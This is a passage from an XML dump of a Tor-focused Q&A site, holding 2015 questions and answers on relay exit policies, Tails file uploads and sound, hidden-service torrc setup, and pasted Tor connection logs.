relay?" Tags="|onion-services|attacks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7376" PostTypeId="1" CreationDate="2015-08-03T10:52:34.303" Score="2" ViewCount="231" Body="&lt;p&gt;I am trying to create a non-exit relay. I have edited the &lt;code&gt;torrc&lt;/code&gt; file to &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;, but when I monitor my connection in &lt;code&gt;arm&lt;/code&gt; it lists my relay nickname as an &quot;EXIT&quot; in multiple circuits. Is this what I think it is? Am I an exit despite having explicitly configured the file otherwise? Because it was really disappointing to see how my request was breached so easily, I cannot afford this type of error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens even when I allow arm to configure the &lt;code&gt;torrc&lt;/code&gt; for me and I ask it to be an internal relay only. What is causing this, how do I stop it? Man, I've had to jump through so many hoops trying to get this thing going...&lt;/p&gt;&#xA;" OwnerUserId="8023" LastEditorUserId="88" LastEditDate="2015-08-05T10:49:13.877" LastActivityDate="2016-04-11T11:11:12.923" Title="Tor is making me an exit node despite configuration?" Tags="|configuration|relays|nyx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7377" PostTypeId="1" CreationDate="2015-08-03T13:25:36.117" Score="4" ViewCount="371" Body="&lt;p&gt;I'm trying out Tails and have been able to set up a persistent volume.&#xA;My question is: On a website I want to upload a document on a forum which obviously opens a window to browse my filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again obviously I get the message &quot;access denied&quot; to both the persistent volume and also when I copy the file to the desktop. I say obviously because in a way it's a primairt security feature of Tails to not allow acccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, how am I able to upload the document?&lt;/p&gt;&#xA;" OwnerUserId="8025" LastActivityDate="2015-08-07T14:17:00.587" Title="Qestion about Linux Tails persistent volume" Tags="|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7378" PostTypeId="2" ParentId="961" CreationDate="2015-08-03T16:58:42.153" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;In Firefox type &lt;code&gt;about:config&lt;/code&gt; in the location/(search) bar.&lt;/li&gt;&#xA;&lt;li&gt;Check the yes I'll be careful warning.&lt;/li&gt;&#xA;&lt;li&gt;In the Config Search bar type &lt;code&gt;torbutton.update&lt;/code&gt; and change both options that appear to false. You can do this by double clicking on each option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will automatically change the settings. Voila no more blinking Tor Button.&lt;/p&gt;&#xA;" OwnerUserId="8027" LastEditorUserId="71" LastEditDate="2015-08-04T22:31:52.933" LastActivityDate="2015-08-04T22:31:52.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7379" PostTypeId="1" CreationDate="2015-08-03T19:44:37.387" Score="-1" ViewCount="79" Body="&lt;p&gt;I know I've seen it somewhere but now I can't find it. Why aren't the subkeys displayed on the same page as the primary key here???:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/get/trusting_tails_signing_key/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8009" LastEditorUserId="8009" LastEditDate="2015-08-03T19:49:40.883" LastActivityDate="2015-08-03T20:07:51.347" Title="Can't find the Tails subkey!" Tags="|tails|fingerprinting|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7380" PostTypeId="2" ParentId="7379" CreationDate="2015-08-03T20:07:51.347" Score="0" Body="&lt;p&gt;Nevermind, I found the subkey here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/download/index.en.html#verify&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/download/index.en.html#verify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2015-08-03T20:07:51.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7381" PostTypeId="1" CreationDate="2015-08-04T01:10:32.717" Score="0" ViewCount="369" Body="&lt;p&gt;Is a virtual private server or virtual machine required to get your webserver to show your .onion correctly. I cannot get my onion viewable and this is the only thing I havent tried. It makes no nense to me why I would need them but most guides out there have a vps...&lt;/p&gt;&#xA;" OwnerUserId="8031" LastActivityDate="2015-08-04T11:15:08.303" Title="Hidden Service without vps/vm?" Tags="|linux|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7382" PostTypeId="1" CreationDate="2015-08-04T01:59:11.887" Score="1" ViewCount="7638" Body="&lt;p&gt;Everything seems to work fine except the sound. Do I need to install the correct sound driver for my card? I'm using Windows but I doubt a Windows sound driver can be installed in Tails. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2018-07-24T07:30:20.977" Title="No sound when running tails from CD" Tags="|tails|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7383" PostTypeId="2" ParentId="7382" CreationDate="2015-08-04T06:12:12.210" Score="1" Body="&lt;p&gt;No, a Windows driver will not work on Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Tails is based on &lt;a href=&quot;https://www.debian.org/&quot; rel=&quot;nofollow&quot;&gt;Debian GNU/Linux&lt;/a&gt;, you will need to download a driver coded for Debian. Identify which sound card you have in your machine, the Vendor and Model, and search for the relevant driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't specify which sound card you have in your question, so unfortunately I can't recommend a specific driver, nor provide the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some drivers will accommodate multiple sound cards, as multiple vendors will use the same &lt;em&gt;chipset&lt;/em&gt;. Most cards are SoundBlaster compatible these days, so downloading and installing a SoundBlaster compatible driver is a good point to start from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find the Debian page, &lt;a href=&quot;https://wiki.debian.org/SoundConfiguration&quot; rel=&quot;nofollow&quot;&gt;SoundConfiguration&lt;/a&gt;, useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Ubunutu is also Debian based, an Ubuntu driver should also work. &lt;/p&gt;&#xA;" OwnerUserId="5445" LastEditorUserId="5445" LastEditDate="2015-08-04T06:17:21.983" LastActivityDate="2015-08-04T06:17:21.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7384" PostTypeId="2" ParentId="7382" CreationDate="2015-08-04T07:56:15.983" Score="1" Body="&lt;p&gt;It may be just that you have to choose which output to use to hear the sound on your running Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to right-click on the sound-button in the top right corner and choose &lt;strong&gt;Sound Preferences&lt;/strong&gt;. Try to choose different options (if you will see more) in the &lt;strong&gt;Output&lt;/strong&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if this won't work out, you can use this method to write us more&#xA;  information about your soundcard.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8034" LastActivityDate="2015-08-04T07:56:15.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7385" PostTypeId="2" ParentId="7377" CreationDate="2015-08-04T08:01:17.927" Score="3" Body="&lt;p&gt;It is really simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Move file to be uploaded to&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Tor Browser  &#xA;PersistentDir/Tor Browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the folders you can upload from or download to.&lt;/p&gt;&#xA;" OwnerUserId="8034" LastActivityDate="2015-08-04T08:01:17.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7386" PostTypeId="2" ParentId="7381" CreationDate="2015-08-04T10:52:22.423" Score="1" Body="&lt;p&gt;Neither a VPS or a VM is required to have a working hidden service. You need to configure your torrc file setting up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the first row you have to setup the directory that contain the files of your HS, and the second row obviously setup the port of your HD.&#xA;Once you setted up, restart Tor. Then you should view two file in your HiddenServiceDir: hostname (contains your .onion address), private_key (don't share this one with someone).&#xA;The reason of using VM or VPS, is a security reason. Usually you use &lt;a href=&quot;https://www.whonix.org&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt; like VM because is dedicated for Tor (server side), or you can use a VPS for bandwidth reason.&#xA;So, to run a HS you require of the correct configuration of your torrc file, this is a must! Without this you won't get a working HS. Is your choise to use a VM or a VPS, I suggest you to use a VPS with a VM running Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: what did you tried?&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2015-08-04T10:52:22.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7390" PostTypeId="1" CreationDate="2015-08-04T12:58:14.583" Score="0" ViewCount="246" Body="&lt;pre&gt;&lt;code&gt;Aug 04 18:28:26.065 [Notice] Tor v0.2.2.35 (git-b04388f9e7546a9f). This is experimental software. Do not rely on it for strong anonymity. (Running on Windows 8  [workstation])&#xA;Aug 04 18:28:26.065 [Warning] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&#xA;Aug 04 18:28:26.065 [Notice] Initialized libevent version 2.0.17-stable using method win32. Good.&#xA;Aug 04 18:28:26.065 [Notice] Opening Socks listener on 127.0.0.1:9050&#xA;Aug 04 18:28:26.065 [Notice] Opening Control listener on 127.0.0.1:9051&#xA;Aug 04 18:28:26.394 [Notice] OpenSSL OpenSSL 1.0.0g 18 Jan 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation&#xA;Aug 04 18:28:28.133 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:28:28.134 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:28:31.660 [Warning] Tried connecting to router at 193.23.244.244:443, but identity key was not as expected: wanted 7BE683E65D48141321C5ED92F075C55364AC7123 but got B0E8B26991725D15AD3F3F8F48FE8462E00A9805.&#xA;Aug 04 18:28:35.328 [Warning] Tried connecting to router at 86.59.21.38:443, but identity key was not as expected: wanted 847B1F850344D7876491A54892F904934E4EB85D but got B0E8B26991725D15AD3F3F8F48FE8462E00A9805.&#xA;Aug 04 18:28:55.539 [Warning] Your application (using socks5 to port 80) is giving Tor only an IP address. Applications that do DNS resolves themselves may leak information. Consider using Socks4A (e.g. via privoxy or socat) instead. For more information, please see https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS. [20 similar message(s) suppressed in last 5 seconds]&#xA;Aug 04 18:28:55.542 [Notice] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Aug 04 18:28:55.678 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:28:55.678 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:28:57.282 [Warning] The https proxy sent back an unexpected status code 504 (&quot;Gateway Timeout&quot;). Closing.&#xA;Aug 04 18:28:57.282 [Warning] Proxy Client: unable to connect to 212.112.245.170:443&#xA;Aug 04 18:28:59.701 [Warning] Tried connecting to router at 86.59.21.38:443, but identity key was not as expected: wanted 847B1F850344D7876491A54892F904934E4EB85D but got B0E8B26991725D15AD3F3F8F48FE8462E00A9805.&#xA;Aug 04 18:29:00.925 [Warning] Tried connecting to router at 194.109.206.212:443, but identity key was not as expected: wanted 7EA6EAD6FD83083C538F44038BBFA077587DD755 but got B0E8B26991725D15AD3F3F8F48FE8462E00A9805.&#xA;Aug 04 18:29:16.688 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:29:16.688 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:29:17.354 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:29:17.354 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:29:17.639 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:29:17.639 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:29:18.402 [Warning] socks5: command 3 not recognized. Rejecting.&#xA;Aug 04 18:29:18.402 [Warning] Fetching socks handshake failed. Closing.&#xA;Aug 04 18:29:18.429 [Warning] Your application (using socks4 to port 6882) is giving Tor only an IP address. Applications that do DNS resolves themselves may leak information. Consider using Socks4A (e.g. via privoxy or socat) instead. For more information, please see https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS. [10 similar message(s) suppressed in last 5 seconds]&#xA;Aug 04 18:29:18.433 [Notice] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8035" LastEditorUserId="8197" LastEditDate="2015-09-01T19:13:08.177" LastActivityDate="2015-09-01T19:13:08.177" Title="Vidalia is not working, but Tor browser works fine. Vidalia log in details" Tags="|vidalia|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-05T10:50:24.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="7391" PostTypeId="2" ParentId="7382" CreationDate="2015-08-04T14:07:29.583" Score="0" Body="&lt;p&gt;I found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &quot;Application\System Tools\Preferences\System Settings\&quot; one can click on &quot;Sound&quot; to access a list of sound devices. &quot;Testing Speakers&quot; doesn't work which may give the illusion that none of the sound devices works. In my case I went to YouTube and clicked on a video. Then I went through the devices until I got sound. The &quot;Built-in Audio Analog Stereo&quot; device works for my sound device on my motherboard. :-]&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2015-08-04T14:07:29.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7392" PostTypeId="1" AcceptedAnswerId="7481" CreationDate="2015-08-04T15:12:18.487" Score="1" ViewCount="3360" Body="&lt;p&gt;I'm working with a GL-iNET router, and before it stopped working, it was running their tor firmware from 2/2/2015 (the file doesn't have a version number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point it broke and now when it turns on, the LED flashes red.  I couldn't find a manual for the device, and I'm not that familiar with Open-WRT/DD-WRT (the tor firmware is based on one of these).  Would this be something to consult their documentation about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a flashing red LED mean?  After it boots up, it flashes ~4/sec green for ~3 -4 seconds, then it flashes red ~4/sec.  Periodically, the LED will stay red for a little while longer and then it will resume its normally 4/sec flash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wifi is broadcasting (I can see the SSIDs), and I can access the web UI via the LAN port (and presumably the non-tor wifi).  I've reset the device before, but I'd like to know what's going on.&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2015-08-18T15:32:49.683" Title="GL-iNET, what does it mean when the LED flashes red?" Tags="|troubleshooting|diagnostics|routers|" AnswerCount="1" CommentCount="2" ClosedDate="2016-01-08T16:33:38.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="7393" PostTypeId="1" CreationDate="2015-08-04T15:29:28.913" Score="3" ViewCount="4352" Body="&lt;p&gt;I would like to install GreaseMonkey on TBB(Tor browser). I understand that any script might add fingerprinting issue. What if I only install GreaseMonkey?&lt;/p&gt;&#xA;&lt;p&gt;As a side note:&#xA;I only want to run my own script to read the source and output to the console. Will the host(the website) know that I run GreaseMonkey?&lt;/p&gt;&#xA;" OwnerUserId="8036" LastEditorUserId="34630" LastEditDate="2022-06-04T19:23:30.407" LastActivityDate="2022-06-04T19:23:30.407" Title="Is it safe to install GreaseMonkey on TBB?" Tags="|tor-browser-bundle|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7394" PostTypeId="1" CreationDate="2015-08-04T18:15:53.907" Score="2" ViewCount="789" Body="&lt;p&gt;I don't understand the procedure here. There are some options to choose from to encrypt the file, but then I can't decrypt it because I don't have the password. How do I create a password before I encrypt?&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2015-11-03T00:16:21.960" Title="How do I encrypt document via right-click menu in Tails?" Tags="|tails|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7395" PostTypeId="2" ParentId="7394" CreationDate="2015-08-04T19:15:06.357" Score="1" Body="&lt;p&gt;First, create a key:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Applications-&gt;System Tools-&gt;Preferences-&gt;Passwords and Keys&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select File-&gt;New and select &quot;PGP Key&quot; and click Continue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fill in the details of choice and click Create.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then right-click any file and select &quot;Encrypt&quot; and select the newly created key to encrypt the file.&lt;/p&gt;&#xA;" OwnerUserId="8009" LastEditorUserId="71" LastEditDate="2015-11-03T00:16:21.960" LastActivityDate="2015-11-03T00:16:21.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7396" PostTypeId="1" CreationDate="2015-08-05T02:47:42.857" Score="3" ViewCount="7561" Body="&lt;p&gt;I'm using the Tor browser (4.5.3) and when I press the green onion I can see the current Tor circuit that's in use at the moment. Now, is the browser always using a Tor circuit? Because sometimes when I rightclick and open links in new tabs and then press the green onion to check which circuit the new tabs are using then it doesn't show anything. The first and the second tab can show that it's using a circuit while the third tab doesn't show anything.&#xA;Now, is that possible or is the browser always using a circuit regardless if I can see which nodes it's using or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just so it's clear that I only have 1 browserwindow open but I'm using multiple tabs.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastEditorUserId="88" LastEditDate="2015-08-05T10:51:31.600" LastActivityDate="2019-05-07T14:32:41.290" Title="Is the Tor browser always using at Tor ciruit?" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7397" PostTypeId="1" CreationDate="2015-08-05T10:12:45.137" Score="1" ViewCount="935" Body="&lt;p&gt;According to the Orbot Log the program was able to open a circuit. But if I run a browser check, it still tells me that I am not using tor. &#xA;I also uses a bridge, but the result stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I ensure that I am using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&#xA;Severin&lt;/p&gt;&#xA;" OwnerUserId="8042" LastActivityDate="2016-04-08T11:15:24.747" Title="Orbot is able to open a circuit, but browser check still doesn't confirm using Tor" Tags="|circuit|orbot|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7398" PostTypeId="1" AcceptedAnswerId="7485" CreationDate="2015-08-05T10:21:53.980" Score="1" ViewCount="1349" Body="&lt;p&gt;I'm trying to connect to tor from my &lt;code&gt;c++&lt;/code&gt; application using &lt;a href=&quot;https://yaseeneltii.me/connecting-to-tor-from-c-socks5/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, but I want to connect to the tor session that is run by Tor Browser. At the moment I cannot get past the &lt;code&gt;Resp1&lt;/code&gt; thing, since I'm getting &lt;code&gt;Resp1[1] == 0x20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I connect to the existing tor session managed by Tor Browser? Is this tutorial valid, or not any more?&lt;/p&gt;&#xA;" OwnerUserId="8043" LastActivityDate="2015-08-19T10:53:56.897" Title="Connecting to TorBrowser Socket" Tags="|tor-browser-bundle|socks|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7400" PostTypeId="2" ParentId="7396" CreationDate="2015-08-06T00:45:30.517" Score="2" Body="&lt;p&gt;I have tested this myself and found this problem to be 100% reproducible in TBB 4.5.3 for Windows XP but impossible to reproduce in Linux or Windows 7. Opening 3 to 4 tabs in the latest TBB for Windows XP does seem to break the Tor circuit view however it is only when the new tab is on a different website. Opening multiple tabs on stack exchange or startpage.com will show the tor circuit as the same circuit for each tab that is on the same site. But for example opening stack exchange in tab 1, startpage.com in tab 2 and youtube in tab 3 will likely break the circuit view for tab 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you confirm that you are using Windows XP or if not, can you tell us which OS and TBB 4.5.3 version you are using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question, The TBB should always use a circuit for all the tabs, and I think it is still using a circuit even when it is not displayed in circuit view. Here's why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tested the example above I ended up on Youtube FR and the webpage was displayed in french (I am not in a french speaking country). So it seems safe to say that I was using a tor circuit and that my exit node was in France. I also broke the circuit view again after opening 4 tabs. To try to test my tor network settings I opened a further tab and entered about:tor in the URL bar to get to the tor start page. I then clicked the 'Test Tor Network Settings' link and got the congratulations page and an ip address in a different country to my own, even though I couldn't check my tor circuit using the circuit view. I could also read about my exit node in the atlas. You can also go to websites that tell you your ip address and make sure that they don't display your actual ip address if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the good news here is that opening multiple tabs in TBB does not seem to break tor but on Windows XP (and possibly others) it does seem to break the circuit view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can find evidence that you are not using a tor circuit after opening multiple tabs then this needs further investigation. So I recommend checking your tor network settings is a similar way to the way I described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do remember that the tor circuit view was only brought in for TBB 4.5 and so is still very new, it is possible that there are some issues with it. I have noticed problems with the Windows XP circuit view since the circuit view was introduced. I think 4.5.3 is the first version that displays any circuit view whatsoever whereas the other operating systems have been reliable from the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I havn't found anything online that explains the problem with the circuit view but provided that it is not stopping TBB from creating circuits it's not really something to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone interested I tested using Windows XP (32 bit) Windows 7 (64 bit) Fedora 22 and Debian 8 (both 64 bit) and the latest (verified) TBB for each.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-08-06T20:08:51.740" LastActivityDate="2015-08-06T20:08:51.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7401" PostTypeId="1" AcceptedAnswerId="7407" CreationDate="2015-08-06T05:59:23.970" Score="2" ViewCount="11800" Body="&lt;p&gt;I cannot connect to any .onion sites. I have used both duckduckgo's onion link as well as the torproject's onion link as tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read every thread and post related to this issue I can find, the only things any of them mention is to either reinstall Tor, which I have done several times, including the latest alpha release, or that it may be a clock issue, I have changed the time one hour back and one hour forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of these things have fixed the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only things I can find on the net about this are a couple of reddit, stackoverflow and yahoo answers threads. None shed any real light or offer solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, even just some links to information with some depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do not mark this post as a duplicate. it is an issue that needs attention not just for myself but for the many people who must be having this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/7/2015 13:17:55 PM.774 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;8/7/2015 13:17:56 PM.272 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;8/7/2015 13:17:57 PM.366 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;8/7/2015 13:17:57 PM.366 [NOTICE] Bootstrapped 100%: Done &#xA;8/7/2015 13:17:58 PM.500 [NOTICE] New control connection opened from 127.0.0.1. &#xA;8/7/2015 13:17:58 PM.910 [NOTICE] New control connection opened from 127.0.0.1. &#xA;8/7/2015 13:20:17 PM.813 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:22:33 PM.553 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:22:55 PM.562 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:23:23 PM.891 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:23:56 PM.425 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:24:19 PM.235 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:24:55 PM.793 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:25:48 PM.365 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;8/7/2015 13:45:31 PM.124 [NOTICE] Closing stream for '[scrubbed].onion': hidden service is unavailable (try again later). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried many more .onion sites than are indicated in this log. Sites that should be available, like Tor's own .onion and duckduckgo's. Can it be they are all unavailable? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to test for sure whether it is me or the browser?&lt;/p&gt;&#xA;" OwnerUserId="8050" LastEditorUserId="5445" LastEditDate="2015-08-19T09:47:35.047" LastActivityDate="2015-08-19T09:47:35.047" Title="No .onion sites load" Tags="|onion-services|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7403" PostTypeId="1" CreationDate="2015-08-06T12:58:01.323" Score="1" ViewCount="1207" Body="&lt;p&gt;I've been trying to connect to the Tor network, but my Tor Browser is stuck in endless loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I tried to connect through a VPN (Cyberghost VPN then to Tor network). It did not work.&#xA;After that I tried to connect only to Tor network with no other VPN Connections active.&#xA;At last I tried to connect to Tor network with a deactivated Firewall.&#xA;I also checked my Hardware Firewall and my Router Logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to use different bridges.&#xA;Last I reset my IP through command line and restarted my machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LOG #1 (With Cyberghost VPN active) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/6/2015 3:01:56 AM.181 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;8/6/2015 3:01:56 AM.181 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;8/6/2015 3:01:56 AM.181 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;8/6/2015 3:02:02 AM.950 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/6/2015 3:02:02 AM.951 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/6/2015 3:02:03 AM.980 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;8/6/2015 3:02:03 AM.990 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;8/6/2015 3:02:04 AM.306 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;8/6/2015 3:02:04 AM.570 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;8/6/2015 3:02:04 AM.734 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;8/6/2015 3:02:06 AM.723 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;8/6/2015 3:02:06 AM.930 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;8/6/2015 3:02:07 AM.867 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/6/2015 3:02:07 AM.867 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/6/2015 3:02:07 AM.868 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/6/2015 3:02:07 AM.966 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;LOG #2 (NO VPN except non-working TOR NW) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/6/2015 14:26:13 PM.281 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/6/2015 14:26:13 PM.281 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/6/2015 14:26:14 PM.141 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 3; recommendation warn; host C16B543C6DEF3A1310FFBBAB423217B47EEE1A97 at 192.36.41.152:45573) &#xA;8/6/2015 14:26:14 PM.141 [WARN] 2 connections have failed: &#xA;8/6/2015 14:26:14 PM.141 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/6/2015 14:26:24 PM.156 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory 